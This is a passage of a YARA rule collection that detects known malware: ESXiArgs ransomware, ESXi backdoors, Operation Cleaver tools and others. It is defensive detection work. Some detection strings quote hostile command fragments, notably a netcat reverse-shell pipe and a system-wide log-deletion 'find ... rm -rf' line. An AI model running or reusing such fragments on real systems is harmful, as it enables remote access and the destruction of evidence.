		$s11 = "distutils.sysconfig(" ascii
		$s16 = "distutils.debug(" ascii
		$s18 = "supdate" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule Nirsoft_NetResView
{
	meta:
		description = "Detects NirSoft NetResView - utility that displays the list of all network resources"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Mr6M2J"
		date = "2016-06-04"
		score = 40
		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
		id = "bf786432-3ecf-510e-8d95-50aff09826ce"

	strings:
		$s1 = "NetResView.exe" fullword wide
		$s2 = "2005 - 2013 Nir Sofer" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule POSHSPY_Malware
{
	meta:
		description = "Detects"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
		date = "2017-07-15"
		id = "7e908efc-0023-5be1-9871-8bfbf8b9e53a"

	strings:
		$x1 = "function sWP($cN, $pN, $aK, $aI)" fullword ascii
		$x2 = "$aeK = [byte[]] (0x69, 0x87, 0x0b, 0xf2" ascii
		$x3 = "(('variant', 'excretions', 'accumulators', 'winslow', 'whistleable', 'len',"
		$x4 = "$cPairKey = \"BwIAAACkAABSU0EyAAQAAAEAA"
		$x5 = "$exeRes = exePldRoutine"
		$x6 = "ZgB1AG4AYwB0AGkAbwBuACAAcAB1AHIAZgBDAHIA"

	condition:
		1 of them
}

rule MAL_RANSOM_SH_ESXi_Attacks_Feb23_1
{
	meta:
		description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers - file encrypt.sh"
		author = "Florian Roth"
		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
		date = "2023-02-04"
		score = 85
		hash1 = "10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459"
		id = "7178dbe4-f573-5279-a23e-9bab8ae8b743"

	strings:
		$x1 = "/bin/find / -name *.log -exec /bin/rm -rf {} \\;" ascii fullword
		$x2 = "/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh" ascii fullword
		$x3 = "grep encrypt | /bin/grep -v grep | /bin/wc -l)" ascii fullword
		$s1 = "## ENCRYPT" ascii fullword
		$s2 = "/bin/find / -name *.log -exec /bin" ascii fullword

	condition:
		uint16( 0 ) == 0x2123 and filesize < 10KB and ( 1 of ( $x* ) or 2 of them ) or 3 of them
}

rule MAL_RANSOM_ELF_ESXi_Attacks_Feb23_1
{
	meta:
		description = "Detects ransomware exploiting and encrypting ESXi servers"
		author = "Florian Roth"
		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
		date = "2023-02-04"
		score = 85
		hash1 = "11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66"
		id = "d0a813aa-41f8-57df-b708-18ccb0d7a3e5"

	strings:
		$x1 = "usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]" ascii fullword
		$x2 = "[ %s ] - FAIL { Errno: %d }" ascii fullword
		$s1 = "lPEM_read_bio_RSAPrivateKey" ascii fullword
		$s2 = "lERR_get_error" ascii fullword
		$s3 = "get_pk_data: key file is empty!" ascii fullword
		$op1 = { 8b 45 a8 03 45 d0 89 45 d4 8b 45 a4 69 c0 07 53 65 54 89 45 a8 8b 45 a8 c1 c8 19 }
		$op2 = { 48 89 95 40 fd ff ff 48 83 bd 40 fd ff ff 00 0f 85 2e 01 00 00 48 8b 9d 50 ff ff ff 48 89 9d 30 fd ff ff 48 83 bd 30 fd ff ff 00 78 13 f2 48 0f 2a 85 30 fd ff ff }
		$op3 = { 31 55 b4 f7 55 b8 8b 4d ac 09 4d b8 8b 45 b8 31 45 bc c1 4d bc 13 c1 4d b4 1d }

	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and ( 1 of ( $x* ) or 3 of them ) or 4 of them
}

rule APT_PY_ESXi_Backdoor_Dec22
{
	meta:
		description = "Detects Python backdoor found on ESXi servers"
		author = "Florian Roth"
		reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
		date = "2022-12-14"
		score = 85
		id = "f0a3b9b9-0031-5d9f-97f8-70f83863ee63"

	strings:
		$x1 = "cmd = str(base64.b64decode(encoded_cmd), " ascii
		$x2 = "sh -i 2>&1 | nc %s %s > /tmp/" ascii

	condition:
		filesize < 10KB and 1 of them or all of them
}

rule APT_SH_ESXi_Backdoor_Dec22
{
	meta:
		description = "Detects malicious script found on ESXi servers"
		author = "Florian Roth"
		reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
		date = "2022-12-14"
		score = 75
		id = "983ac20c-2e61-5365-8849-b3aeb999f909"

	strings:
		$x1 = "mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1" ascii fullword
		$x2 = "/bin/nohup /bin/python -u /store/packages/vmtools.py" ascii
		$x3 = "/bin/rm /bin/hostd-probe.sh.1"

	condition:
		filesize < 10KB and 1 of them
}

rule MAL_RANSOM_SH_ESXi_Attacks_Feb23_2
{
	meta:
		description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers"
		author = "Florian Roth"
		reference = "https://dev.to/xakrume/esxiargs-encryption-malware-launches-massive-attacks-against-vmware-esxi-servers-pfe"
		date = "2023-02-06"
		score = 85
		id = "d1282dee-0496-52f1-a2b7-27657ab4df8c"

	strings:
		$x1 = "echo \"START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: " ascii

	condition:
		filesize < 10KB and 1 of them
}

rule SUSP_ESXiArgs_Endpoint_Conf_Aug23
{
	meta:
		description = "Detects indicators found in endpoint.conf files as modified by actors in the ESXiArgs campaign"
		author = "Florian Roth"
		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-47"
		date = "2023-08-04"
		score = 75
		id = "3e0b5dbf-7c5b-5599-823a-ce35fbdbe64b"

	strings:
		$a1 = "/client/clients.xml" ascii
		$a2 = "/var/run/vmware/proxy-sdk-tunnel" ascii fullword
		$a3 = "redirect" ascii fullword
		$a4 = "allow" ascii fullword
		$s1 = " local 8008 allow allow"

	condition:
		filesize < 2KB and all of them
}

import "pe"

rule SUSP_NVIDIA_LAPSUS_Leak_Compromised_Cert_Mar22_1
{
	meta:
		description = "Detects a binary signed with the leaked NVIDIA certifcate and compiled after March 1st 2022"
		author = "Florian Roth (Nextron Systems)"
		date = "2022-03-03"
		modified = "2022-03-04"
		score = 70
		reference = "https://twitter.com/cyb3rops/status/1499514240008437762"
		id = "8bc7460f-a1c4-5157-8c2d-34d3a6c9c7e9"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100MB and pe.timestamp > 1646092800 and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "VeriSign Class 3 Code Signing 2010 CA" and ( pe.signatures [ i ] . serial == "43:bb:43:7d:60:98:66:28:6d:d8:39:e1:d0:03:09:f5" or pe.signatures [ i ] . serial == "14:78:1b:c8:62:e8:dc:50:3a:55:93:46:f5:dc:c5:18" ) )
}

rule crime_ole_loadswf_cve_2018_4878
{
	meta:
		description = "Detects CVE-2018-4878"
		vuln_type = "Remote Code Execution"
		vuln_impact = "Use-after-free"
		affected_versions = "Adobe Flash 28.0.0.137 and earlier versions"
		mitigation0 = "Implement Protected View for Office documents"
		mitigation1 = "Disable Adobe Flash"
		weaponization = "Embedded in Microsoft Office first payloads"
		actor = "Purported North Korean actors"
		reference = "hxxps://www[.]krcert[.]or[.kr/data/secNoticeView.do?bulletin_writing_sequence=26998"
		author = "Vitali Kremez, Flashpoint"
		version = "1.1"
		id = "44797bbc-693b-5fcb-a4a4-4ebf3f4da725"

	strings:
		$header = "rdf:RDF" wide ascii
		$title = "Adobe Flex" wide ascii
		$pdb = "F:\\work\\flash\\obfuscation\\loadswf\\src" wide ascii
		$s0 = "URLRequest" wide ascii
		$s1 = "URLLoader" wide ascii
		$s2 = "loadswf" wide ascii
		$s3 = "myUrlReqest" wide ascii

	condition:
		filesize < 500KB and all of ( $header* ) and all of ( $title* ) and 3 of ( $s* ) or all of ( $pdb* ) and all of ( $header* ) and 1 of ( $s* )
}

rule Suspicious_AutoIt_by_Microsoft
{
	meta:
		description = "Detects a AutoIt script with Microsoft identification"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - VT"
		date = "2017-12-14"
		score = 60
		hash1 = "c0cbcc598d4e8b501aa0bd92115b4c68ccda0993ca0c6ce19edd2e04416b6213"
		id = "69b1c93d-ab12-5fdc-b6eb-fb135796d3a9"

	strings:
		$s1 = "Microsoft Corporation. All rights reserved" fullword wide
		$s2 = "AutoIt" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule SUSP_Size_of_ASUS_TuningTool
{
	meta:
		description = "Detects an ASUS tuning tool with a suspicious size"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
		date = "2018-10-17"
		modified = "2022-12-21"
		score = 60
		noarchivescan = 1
		hash1 = "d4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a"
		id = "d22a1bf9-55d6-5cb4-9537-ad13b23af4d1"

	strings:
		$s1 = "\\Release\\ASGT.pdb" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and filesize > 70KB and all of them
}

rule SUSP_PiratedOffice_2007
{
	meta:
		description = "Detects an Office document that was created with a pirated version of MS Office 2007"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/pwnallthethings/status/743230570440826886?lang=en"
		date = "2018-12-04"
		score = 40
		hash1 = "210448e58a50da22c0031f016ed1554856ed8abe79ea07193dc8f5599343f633"
		id = "b36e9a59-7617-503b-968d-5b6b72b227ea"

	strings:
		$s7 = "<Company>Grizli777</Company>" ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 300KB and all of them
}

rule SUSP_Scheduled_Task_BigSize
{
	meta:
		description = "Detects suspiciously big scheduled task XML file as seen in combination with embedded base64 encoded PowerShell code"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-12-06"
		id = "61b07b30-1058-5a53-99e7-2c48ec9d23b5"

	strings:
		$a0 = "<Task version=" ascii wide
		$a1 = "xmlns=\"http://schemas.microsoft.com/windows/" ascii wide
		$fp1 = "</Counter><Counter>" wide
		$fp2 = "Office Feature Updates Logon" wide
		$fp3 = "Microsoft Shared" fullword wide

	condition:
		uint16( 0 ) == 0xfeff and filesize > 20KB and all of ( $a* ) and not 1 of ( $fp* )
}

rule SUSP_Putty_Unnormal_Size
{
	meta:
		description = "Detects a putty version with a size different than the one provided by Simon Tatham (could be caused by an additional signature or malware)"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-01-07"
		modified = "2022-06-30"
		score = 50
		hash1 = "e5e89bdff733d6db1cffe8b3527e823c32a78076f8eadc2f9fd486b74a0e9d88"
		hash2 = "ce4c1b718b54973291aefdd63d1cca4e4d8d4f5353a2be7f139a290206d0c170"
		hash3 = "adb72ea4eab7b2efc2da6e72256b5a3bb388e9cdd4da4d3ff42a9fec080aa96f"
		hash4 = "1c0bd6660fa43fa90bd88b56cdd4a4c2ffb4ef9d04e8893109407aa7039277db"
		id = "576b118c-d4be-5ce2-994a-ce3f943dda88"

	strings:
		$s1 = "SSH, Telnet and Rlogin client" fullword wide
		$v1 = "Release 0.6" wide
		$v2 = "Release 0.70" wide
		$fp1 = "KiTTY fork" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and $s1 and 1 of ( $v* ) and not 1 of ( $fp* ) and filesize != 524288 and filesize != 495616 and filesize != 483328 and filesize != 524288 and filesize != 712176 and filesize != 828400 and filesize != 569328 and filesize != 454656 and filesize != 531368 and filesize != 524288 and filesize != 483328 and filesize != 713592 and filesize != 829304 and filesize != 571256 and filesize != 774200 and filesize != 854072 and filesize != 665144 and filesize != 774200 and filesize != 854072 and filesize != 665144 and filesize != 640000 and filesize != 650720 and filesize != 662808 and filesize != 651256 and filesize != 664432
}

rule SUSP_RTF_Header_Anomaly
{
	meta:
		description = "Detects malformed RTF header often used to trick mechanisms that check for a full RTF header"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ItsReallyNick/status/975705759618158593"
		date = "2019-01-20"
		modified = "2022-09-15"
		score = 50
		id = "fb362640-9a45-5ee5-8749-3980e0549932"

	condition:
		uint32( 0 ) == 0x74725c7b and not uint8( 4 ) == 0x66
}

import "pe"

rule Reaver3_Malware_Nov17_1
{
	meta:
		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
		date = "2017-11-11"
		hash1 = "1813f10bcf74beb582c824c64fff63cb150d178bef93af81d875ca84214307a1"
		id = "95419d6f-b657-53c4-840d-9a9e9b00787e"

	strings:
		$s1 = "CPL.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imphash ( ) == "e722dd50a0e2bc0cab8ca35fc4bf6d99" and all of them )
}

import "pe"

rule Reaver3_Malware_Nov17_2
{
	meta:
		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
		date = "2017-11-11"
		modified = "2023-01-06"
		hash1 = "9213f70bce491991c4cbbbd7dc3e67d3a3d535b965d7064973b35c50f265e59b"
		hash2 = "98eb5465c6330b9b49df2e7c9ad0b1164aa5b35423d9e80495a178eb510cdc1c"
		id = "423ae050-5087-528e-be0a-c612024dc70a"

	strings:
		$x1 = "WindowsUpdateReaver" fullword wide
		$s1 = "\\WUpdate.~tmp" ascii
		$s2 = "\\~WUpdate.lnk" ascii
		$s3 = "\\services\\" ascii
		$s4 = "moomjufps" fullword ascii
		$s5 = "gekmomkege" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "837cc5062a0758335b257ea3b27972b2" or 1 of ( $x* ) or 3 of them )
}

import "pe"

rule Reaver3_Malware_Nov17_3
{
	meta:
		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
		date = "2017-11-11"
		modified = "2023-01-06"
		hash1 = "18ac3b14300ecfeed4b64a844c16dccb06b0e3513d0954d6c6182f2ea14e4c92"
		hash2 = "c0f8bb77284b96e07cab1c3fab8800b1bbd030720c74628c4ee5666694ef903d"
		hash3 = "c906250e0a4c457663e37119ebe1efa1e4b97eef1d975f383ac3243f9f09908c"
		hash4 = "1fcda755e8fa23d27329e4bc0443a82e1c1e9a6c1691639db256a187365e4db1"
		hash5 = "d560f44188fb56d3abb11d9508e1167329470de19b811163eb1167534722e666"
		id = "cc2511a9-8938-5f4d-9802-f73e44609bf9"

	strings:
		$s1 = "winhelp.dat" fullword ascii
		$s2 = "\\microsoft\\Credentials\\" ascii
		$s3 = "~Update.lnk" fullword ascii
		$s4 = "winhelp.cpl" fullword ascii
		$s5 = "\\services\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "8ee521b2316ddd6af1679eac9f5ed77b" or 4 of them )
}

rule SunOrcal_Malware_Nov17_1
{
	meta:
		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
		date = "2017-11-11"
		hash1 = "cb7c0cf1750baaa11783e93369230ee666b9f3da7298e4d1bb9a07af6a439f2f"
		hash2 = "799139b5278dc2ac24279cc6c3db44f4ef0ea78ee7b721b0ace38fd8018c51ac"
		hash3 = "38ea33dab0ba2edd16ecd98cba161c550d1036b253c8666c4110d198948329fb"
		id = "d8a21570-d1d6-52c3-abb2-ecaa86eb7ff0"

	strings:
		$x1 = "kQZ6l5t1kAlsjmBzsCZPrSpQn5tFrChLtTdsgTlOsClKt5pBsDdFrSVshnxMr6ZOpn9slndBsy1jq6lIr216rSNApn9P" fullword ascii
		$x2 = { 00 00 00 00 00 00 00 00 00 00 00 00 21 21 21 73
              79 73 74 65 6D 00 00 00 00 00 00 00 00 00 00 00 }
		$x3 = "!!!url!!!" fullword ascii
		$x4 = "h4NcbkdLrCpFpPQ=" fullword ascii
		$x5 = "GloablCryptNv1" fullword ascii
		$x6 = "Gloabl\\CryptNv1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them
}

rule No_PowerShell
{
	meta:
		description = "Detects an C# executable used to circumvent PowerShell detection - file nps.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Ben0xA/nps"
		date = "2016-05-21"
		score = 80
		hash1 = "64f811b99eb4ae038c88c67ee0dc9b150445e68a2eb35ff1a0296533ae2edd71"
		id = "362a61bc-2c10-5076-93be-9f8b5a9ae8ba"

	strings:
		$s1 = "nps.exe -encodedcommand {base64_encoded_command}" fullword wide
		$s2 = "c:\\Development\\ghps\\nps\\nps\\obj\\x86\\Release\\nps.pdb" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and ( 1 of ( $s* ) ) ) or ( all of them )
}

rule xRAT_1
{
	meta:
		description = "Detects Patchwork malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Pg3P4W"
		date = "2017-12-11"
		hash1 = "92be93ec4cbe76182404af0b180871fbbfa3c7b34e4df6745dbcde480b8b4b3b"
		hash2 = "f1a45adcf907e660ec848c6086e28c9863b7b70d0d38417dd05a4261973c955a"
		id = "170c926a-2020-5269-85b8-6fe9ad28ef76"

	strings:
		$x1 = "\" -CHECK & PING -n 2 127.0.0.1 & EXIT" fullword wide
		$x2 = "xClient.Core.Elevation" fullword ascii
		$x3 = ">> Welcome to MAX-Shell :Session created" fullword wide
		$x4 = "xClient.Properties.Resources.resources" fullword ascii
		$x5 = "<description>My UAC Compatible application</description>" fullword ascii
		$s1 = "ping -n 20 localhost > nul" fullword wide
		$s2 = "DownloadAndExecute" fullword ascii
		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36" fullword wide
		$s4 = "Client.exe" fullword ascii
		$s5 = "Microsoft -Defender" fullword wide
		$s6 = "Microsoft- Defender" fullword wide
		$s7 = "set_RunHidden" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 3 of them )
}

rule OPCLEAVER_BackDoorLogger
{
	meta:
		description = "Keylogger used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "e9149baa-83c0-597f-833c-ea0241bb60e6"

	strings:
		$s1 = "BackDoorLogger"
		$s2 = "zhuAddress"

	condition:
		all of them
}

rule OPCLEAVER_Jasus
{
	meta:
		description = "ARP cache poisoner used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "8e04b258-e071-5974-9778-b9d0b97be8d5"

	strings:
		$s1 = "pcap_dump_open"
		$s2 = "Resolving IPs to poison..."
		$s3 = "WARNNING: Gateway IP can not be found"

	condition:
		all of them
}

rule OPCLEAVER_LoggerModule
{
	meta:
		description = "Keylogger used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "949e7ff4-2102-5c89-83c9-f7ba64745661"

	strings:
		$s1 = "%s-%02d%02d%02d%02d%02d.r"
		$s2 = "C:\\Users\\%s\\AppData\\Cookies\\"

	condition:
		all of them
}

rule OPCLEAVER_NetC
{
	meta:
		description = "Net Crawler used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "68f32662-0d7d-5dfa-8bfd-ca41d383e19c"

	strings:
		$s1 = "NetC.exe" wide
		$s2 = "Net Service"

	condition:
		all of them
}

rule OPCLEAVER_ShellCreator2
{
	meta:
		description = "Shell Creator used by attackers in Operation Cleaver to create ASPX web shells"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "b62336c3-39e5-55f8-98df-6c2a2cb0764a"

	strings:
		$s1 = "ShellCreator2.Properties"
		$s2 = "set_IV"

	condition:
		all of them
}

rule OPCLEAVER_SmartCopy2
{
	meta:
		description = "Malware or hack tool used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "898d9060-208a-5dfb-a452-50ab49b80a9d"

	strings:
		$s1 = "SmartCopy2.Properties"
		$s2 = "ZhuFrameWork"

	condition:
		all of them
}

rule OPCLEAVER_SynFlooder
{
	meta:
		description = "Malware or hack tool used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "bdaf02f4-1226-569b-9f55-999be7ff397a"

	strings:
		$s1 = "Unable to resolve [ %s ]. ErrorCode %d"
		$s2 = "s IP is : %s"
		$s3 = "Raw TCP Socket Created successfully."

	condition:
		all of them
}

rule OPCLEAVER_TinyZBot
{
	meta:
		description = "Tiny Bot used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "4fad21a6-a900-5afb-876d-99a6d93e0c2c"

	strings:
		$s1 = "NetScp" wide
		$s2 = "TinyZBot.Properties.Resources.resources"
		$s3 = "Aoao WaterMark"
		$s4 = "Run_a_exe"
		$s5 = "netscp.exe"
		$s6 = "get_MainModule_WebReference_DefaultWS"
		$s7 = "remove_CheckFileMD5Completed"
		$s8 = "http://tempuri.org/"
		$s9 = "Zhoupin_Cleaver"

	condition:
		(( $s1 and $s2 ) or ( $s3 and $s4 and $s5 ) or ( $s6 and $s7 and $s8 ) or $s9 )
}

rule OPCLEAVER_ZhoupinExploitCrew
{
	meta:
		description = "Keywords used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "4e7457a0-e6e1-535c-b04b-ad313b496ce1"

	strings:
		$s1 = "zhoupin exploit crew" nocase
		$s2 = "zhopin exploit crew" nocase

	condition:
		1 of them
}

rule OPCLEAVER_antivirusdetector
{
	meta:
		description = "Hack tool used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "25ab4eaf-eae7-5a55-bed4-42f621d5f06c"

	strings:
		$s1 = "getShadyProcess"
		$s2 = "getSystemAntiviruses"
		$s3 = "AntiVirusDetector"

	condition:
		all of them
}

rule OPCLEAVER_csext
{
	meta:
		description = "Backdoor used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "f865eae5-9988-5533-a004-e1694761a557"

	strings:
		$s1 = "COM+ System Extentions"
		$s2 = "csext.exe"
		$s3 = "COM_Extentions_bin"

	condition:
		all of them
}

rule OPCLEAVER_kagent
{
	meta:
		description = "Backdoor used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "32d20495-eeed-5b2b-915d-cad60fa991f6"

	strings:
		$s1 = "kill command is in last machine, going back"
		$s2 = "message data length in B64: %d Bytes"

	condition:
		all of them
}

rule OPCLEAVER_mimikatzWrapper
{
	meta:
		description = "Mimikatz Wrapper used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "e9427e29-e581-5a5b-8f1d-4b9bfeec0946"

	strings:
		$s1 = "mimikatzWrapper"
		$s2 = "get_mimikatz"

	condition:
		all of them
}

rule OPCLEAVER_pvz_in
{
	meta:
		description = "Parviz tool used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "dede12b3-f1dd-58ba-a860-829b2331b740"

	strings:
		$s1 = "LAST_TIME=00/00/0000:00:00PM$"
		$s2 = "if %%ERRORLEVEL%% == 1 GOTO line"

	condition:
		all of them
}

rule OPCLEAVER_pvz_out
{
	meta:
		description = "Parviz tool used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "46b51bff-dfd9-5f56-897c-422112bc837b"

	strings:
		$s1 = "Network Connectivity Module" wide
		$s2 = "OSPPSVC" wide

	condition:
		all of them
}

rule OPCLEAVER_wndTest
{
	meta:
		description = "Backdoor used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "f8daa0a8-f0f0-5bf7-b9ab-eaf5335ff2b9"

	strings:
		$s1 = "[Alt]" wide
		$s2 = "<< %s >>:" wide
		$s3 = "Content-Disposition: inline; comp=%s; account=%s; product=%d;"

	condition:
		all of them
}

rule OPCLEAVER_zhCat
{
	meta:
		description = "Network tool used by Iranian hackers and used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "e1f1bc48-b895-5e23-8ffd-b6ea9c8eb26f"

	strings:
		$s1 = "Mozilla/4.0 ( compatible; MSIE 7.0; AOL 8.0 )" ascii fullword
		$s2 = "ABC ( A Big Company )" wide fullword

	condition:
		all of them
}

rule OPCLEAVER_zhLookUp
{
	meta:
		description = "Hack tool used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "45ef9a90-db4c-59c3-b694-da3f539b118b"

	strings:
		$s1 = "zhLookUp.Properties"

	condition:
		all of them
}

rule OPCLEAVER_zhmimikatz
{
	meta:
		description = "Mimikatz wrapper used by attackers in Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		author = "Cylance Inc."
		score = 70
		id = "fba8ab6e-3b61-53a1-b4df-178442e3cf24"

	strings:
		$s1 = "MimikatzRunner"
		$s2 = "zhmimikatz"

	condition:
		all of them
}

rule OPCLEAVER_Parviz_Developer
{
	meta:
		description = "Parviz developer known from Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		id = "2bfa90a0-0495-5b21-98f7-5ed7ebc74b2d"

	strings:
		$s1 = "Users\\parviz\\documents\\" nocase

	condition:
		$s1
}

rule OPCLEAVER_CCProxy_Config
{
	meta:
		description = "CCProxy config known from Operation Cleaver"
		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
		date = "2014/12/02"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		id = "c4d80a2a-2a32-585e-bc20-1c5118e4ee48"

	strings:
		$s1 = "UserName=User-001" fullword ascii
